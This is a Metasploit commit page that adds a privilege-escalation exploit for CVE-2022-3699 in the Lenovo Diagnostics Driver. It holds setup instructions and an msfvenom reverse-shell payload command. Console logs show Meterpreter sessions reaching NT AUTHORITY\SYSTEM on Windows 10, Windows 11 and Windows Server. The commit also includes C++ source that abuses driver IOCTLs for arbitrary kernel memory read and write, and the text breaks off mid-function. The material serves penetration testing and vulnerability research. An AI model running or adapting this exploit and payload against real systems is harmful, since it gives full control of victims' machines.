1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-09 04:26:11 +02:00

Land #17371, Lenovo Diagnostics Driver Privilege Escalation (CVE-2022-3699)

This commit is contained in:
cgranleese-r7 2023-02-03 13:43:04 +00:00 committed by GitHub
commit 80dbbca020
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
11 changed files with 1851 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,210 @@
## Vulnerable Application
### Description
Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device
IOCTLs to perform arbitrary physical/virtual memory read/write.
### Setup
A copy of the vulnerable Lenovo Diagnostics Driver can be downloaded from the github repo that hosts the original PoC
that this module uses: https://github[.]com/alfarom256/CVE-2022-3699/raw/main/LenovoDiagnosticsDriver.sys
To create a service that runs the vulnerable Lenovo driver run the following command:
`c:\Windows\System32> sc.exe create LenovoDiagnosticsDriver type= kernel start= auto binPath= "c:\Windows\System32\drivers\LenovoDiagnosticsDriver.sys" DisplayName=LenovoDiagnosticsDriver`
## Verification Steps
1. Create a shell for an initial foothold:
`./msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.123.1 LPORT=4444 -f exe > shell.exe`
1. Disable Real-time Virus Protection on the Windows 11 test target.
1. Drag shell.exe onto the Windows 11 test target
1. Start msfconsole
1. Do: `use multi/handler`
1. set LHOST and LPORT
1. Launch `shell.exe` on the test target and receive a shell
1. Do `use windows/local/cve_2022_3699_lenovo_diagnostics_driver`
1. Set the `LHOST`, `LPORT`, and `SESSION` options
1. Run the module
1. Receive a Meterpreter session as the `NT AUTHORITY\SYSTEM` user.
## Scenarios
All of the following scenarios have a vulnerable version of LenovoDiagnosticsDriver.sys in use.
### Windows 11 21H2 (Build 22000)
```
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > run LHOST=192.168.123.1 LPORT=4444 payload=windows/x64/meterpreter/reverse_tcp
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Sending stage (200774 bytes) to 192.168.123.212
[*] Meterpreter session 17 opened (192.168.123.1:4444 -> 192.168.123.212:49692) at 2022-12-12 12:34:15 -0500
meterpreter > bg
[*] Backgrounding session 17...
msf6 exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=17 LHOST=192.168.123.1 LPORT=4445
[*] Started reverse TCP handler on 192.168.123.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Launching msiexec to host the DLL...
[+] Process 4292 launched.
[*] Reflectively injecting the DLL into 4292...
[*] Sending stage (200774 bytes) to 192.168.123.212
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 18 opened (192.168.123.1:4445 -> 192.168.123.212:49696) at 2022-12-12 12:41:32 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : MSFTESTING
OS : Windows 10 (10.0 Build 22000).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
### Windows 10 22H2 (Build 19045)
```
msf6 exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp lhost=172.16.199.1
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Sending stage (200774 bytes) to 172.16.199.133
[*] Meterpreter session 8 opened (172.16.199.1:4444 -> 172.16.199.133:50093) at 2023-01-18 01:20:16 -0500
meterpreter > bg
[*] Backgrounding session 8...
msf6 exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=8 LHOST=172.16.199.1 LPORT=4445
[*] Started reverse TCP handler on 172.16.199.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 432 launched.
[*] Reflectively injecting the DLL into 432...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200774 bytes) to 172.16.199.133
[*] Meterpreter session 9 opened (172.16.199.1:4445 -> 172.16.199.133:50095) at 2023-01-18 01:20:33 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-8ATHH6O
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
### Windows 10 1809 (Build 17763)
```
msf6 exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp LHOST=172.16.199.1 LPORT=4444
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Sending stage (200774 bytes) to 172.16.199.134
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.134:51415) at 2023-01-18 11:39:11 -0500
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=1 lport=4445
[*] Started reverse TCP handler on 172.16.199.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 3004 launched.
[*] Reflectively injecting the DLL into 3004...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200774 bytes) to 172.16.199.134
[*] Meterpreter session 4 opened (172.16.199.1:4445 -> 172.16.199.134:49708) at 2023-01-18 11:50:37 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-FONAECR
OS : Windows 10 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
### Windows Server 2022 (Build 20348)
```
msf6 exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=7 lport=4445 lhost=172.16.199.1
[*] Started reverse TCP handler on 172.16.199.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 7028 launched.
[*] Reflectively injecting the DLL into 7028...
[*] Sending stage (200774 bytes) to 172.16.199.132
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 8 opened (172.16.199.1:4445 -> 172.16.199.132:50962) at 2023-01-18 23:49:51 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-2EEL7BRDUD8
OS : Windows 2016+ (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
```
### Windows Server 2019 (Build 17763)
```
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > run payload=windows/x64/meterpreter/reverse_tcp lhost=172.16.199.1
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Sending stage (200774 bytes) to 172.16.199.235
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.235:49729) at 2023-01-18 22:08:05 -0500
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use windows/local/cve_2022_3699_lenovo_diagnostics_driver
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_3699_lenovo_diagnostics_driver) > run session=1 lport=4445 lhost=172.16.199.1
[*] Reloading module...
[*] Started reverse TCP handler on 172.16.199.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 64 launched.
[*] Reflectively injecting the DLL into 64...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200774 bytes) to 172.16.199.235
[*] Meterpreter session 2 opened (172.16.199.1:4445 -> 172.16.199.235:56717) at 2023-01-18 22:15:46 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-FDV8QFUMFP7
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : EXAMPLE
Logged On Users : 8
Meterpreter : x64/windows
```

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.33027.164
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2022-3699", "CVE-2022-3699\CVE-2022-3699.vcxproj", "{D444A99D-87A2-45B2-9D07-D806E59FA8F7}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D444A99D-87A2-45B2-9D07-D806E59FA8F7}.Debug|x64.ActiveCfg = Debug|x64
{D444A99D-87A2-45B2-9D07-D806E59FA8F7}.Debug|x64.Build.0 = Debug|x64
{D444A99D-87A2-45B2-9D07-D806E59FA8F7}.Debug|x86.ActiveCfg = Debug|Win32
{D444A99D-87A2-45B2-9D07-D806E59FA8F7}.Debug|x86.Build.0 = Debug|Win32
{D444A99D-87A2-45B2-9D07-D806E59FA8F7}.Release|x64.ActiveCfg = Release|x64
{D444A99D-87A2-45B2-9D07-D806E59FA8F7}.Release|x64.Build.0 = Release|x64
{D444A99D-87A2-45B2-9D07-D806E59FA8F7}.Release|x86.ActiveCfg = Release|Win32
{D444A99D-87A2-45B2-9D07-D806E59FA8F7}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {D51EB461-56DE-4804-BFC6-7BCD3C4F558D}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,235 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{d444a99d-87a2-45b2-9d07-d806e59fa8f7}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>CVE_2022_3699</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<TargetExt>.exe</TargetExt>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateMapFile>false</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;C:\Users\msfuser\metasploit-framework\external\source\include\windows\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>false</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateMapFile>false</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp" />
<ClCompile Include="exploit.cpp" />
<ClCompile Include="LenovoMemoryMgr.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="LenovoMemoryMgr.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,783 @@
/*
Copyright 2022 <COPYRIGHT HOLDER>
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include "LenovoMemoryMgr.h"
#include <winternl.h>
#define DEBUGTRACE 1
#include "common.h"
template <typename T>
BOOL LenovoMemoryMgr::ReadPhysData(UINT64 address, T* data)
{
// dprintf("Entered ReadPhystData");
// dprintf("Reading %zd bytes from %llx\n", sizeof(T), address);
if (!data) {
return FALSE;
}
switch (sizeof(T))
{
case 1:
case 2:
case 4:
case 8:
break;
default:
return FALSE;
}
LDIAG_READ lr = { 0 };
BOOL bStatus = FALSE;
DWORD dwBytesReturned = 0;
DWORD64 outbuffer = 0;
lr.data = address;
lr.wLen = sizeof(DWORD64);
// dprintf("About to DeviceIOControl");
bStatus = DeviceIoControl(
this->hDevice,
IOCTL_PHYS_RD,
&lr,
sizeof(LDIAG_READ),
&outbuffer,
sizeof(DWORD64),
&dwBytesReturned,
NULL
);
// dprintf("DeviceIOControl completed");
if (!bStatus) {
return FALSE;
}
*data = (T)outbuffer;
return TRUE;
}
template<typename T>
BOOL LenovoMemoryMgr::WritePhysData(_In_ UINT64 PhysDest, _In_ T* data)
{
// dprintf("WritePhysData entered\n\tPhysDest %llx\n\tData %p\n\tsizeof(Data) %llx\n", PhysDest, data, sizeof(T));
if (!data && !PhysDest) {
return FALSE;
}
switch (sizeof(T))
{
case 1:
case 2:
case 4:
case 8:
break;
default:
return FALSE;
}
NTSTATUS status = 0;
BOOL bRes = FALSE;
LDIAG_WRITE lw = { 0 };
DWORD dwBytesReturned = 0;
lw._where = PhysDest;
lw._what_ptr = (DWORD64)data;
lw.dwMapSize = (DWORD)sizeof(T);
lw.dwLo = 0x6C61696E;
// dprintf("About to DeviceIOControl");
status = DeviceIoControl(
this->hDevice,
IOCTL_PHYS_WR,
&lw,
sizeof(LDIAG_WRITE),
NULL,
0,
&dwBytesReturned,
NULL
);
// dprintf("DeviceIOControl Complete");
return NT_SUCCESS(status);
}
template<typename T>
BOOL LenovoMemoryMgr::ReadVirtData(UINT64 address, T* data)
{
//dprintf("Entered ReadVirtData");
//dprintf("Reading %zd bytes from %llx\n", sizeof(T), address);
if (!data) {
return FALSE;
}
switch (sizeof(T))
{
case 1:
case 2:
case 4:
case 8:
break;
default:
return FALSE;
}
if (!this->WritePhysData(this->physSwapAddr, (T*)address)) {
return FALSE;
}
return this->ReadPhysData(this->physSwapAddr, data);
}
template<typename T>
BOOL LenovoMemoryMgr::WriteVirtData(UINT64 address, T* data)
{
dprintf("Entered WriteVirtData");
dprintf("Writing %zd bytes from %llx\n", sizeof(T), address);
if (!data) {
return FALSE;
}
switch (sizeof(T))
{
case 1:
case 2:
case 4:
case 8:
break;
default:
return FALSE;
}
PAGE_TABLE_ENTRY pte = { 0 };
PFILL_PTE_HIERARCHY PteHierarchy = this->CreatePteHierarchy(address);
PageType pt = this->GetPageTypeForVirtualAddress(address, &pte);
UINT64 PhysAddr = this->VtoP(address, pte.flags.Pfn, pt);
return this->WritePhysData(PhysAddr, data);
}
// https://github.com/ch3rn0byl/CVE-2021-21551/blob/master/CVE-2021-21551/DellBiosUtil.cpp
PFILL_PTE_HIERARCHY LenovoMemoryMgr::CreatePteHierarchy(UINT64 VirtualAddress)
{
PFILL_PTE_HIERARCHY retval = new FILL_PTE_HIERARCHY;
///
/// Resolve the PTE address
///
VirtualAddress >>= 9;
VirtualAddress &= 0x7FFFFFFFF8;
VirtualAddress += this->PteBase;
retval->PTE = VirtualAddress;
///
/// Resolve the PDE address
///
VirtualAddress >>= 9;
VirtualAddress &= 0x7FFFFFFFF8;
VirtualAddress += this->PteBase;
retval->PDE = VirtualAddress;
///
/// Resolve the PPE address
///
VirtualAddress >>= 9;
VirtualAddress &= 0x7FFFFFFFF8;
VirtualAddress += this->PteBase;
retval->PPE = VirtualAddress;
///
/// Resolve the PXE address
///
VirtualAddress >>= 9;
VirtualAddress &= 0x7FFFFFFFF8;
VirtualAddress += this->PteBase;
retval->PXE = VirtualAddress;
return retval;
}
UINT64 LenovoMemoryMgr::FindPhysSwapSpace()
{
UINT64 begin = 0x1000;
UINT64 end = 0x10000;
BOOL bRes = FALSE;
UINT64 val = 0;
while (begin < end) {
bRes = this->ReadPhysData<UINT64>(begin, &val);
if (!bRes) {
return NULL;
}
if (!val) {
return begin;
}
begin += 8;
}
return NULL;
}
UINT64 LenovoMemoryMgr::GetPteBaseW11()
{
DWORD64 read_src = 0;
DWORD64 call_loc = 0;
DWORD64 sz_found_item = 0;
LPVOID lpMiGetPhysicalAddress = NULL;
LPVOID lpMiFillPteHierarchy = NULL;
DWORD64 lpMmPteBase = NULL;
HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");
LONG dwRel32Loc = 0;
WORD wNopRet = 0;
BOOL bRes = FALSE;
BYTE firstByte = 0;
if (!hNtos) {
return FALSE;
}
PVOID lpMmGetPhysicalAddress = GetProcAddress(hNtos, "MmGetPhysicalAddress");
dprintf("lpMmGetPhysicalAddress is %llx\n", lpMmGetPhysicalAddress);
if (!lpMmGetPhysicalAddress) {
dprintf("Finding MmGetPhysicalAddress failed");
return FALSE;
}
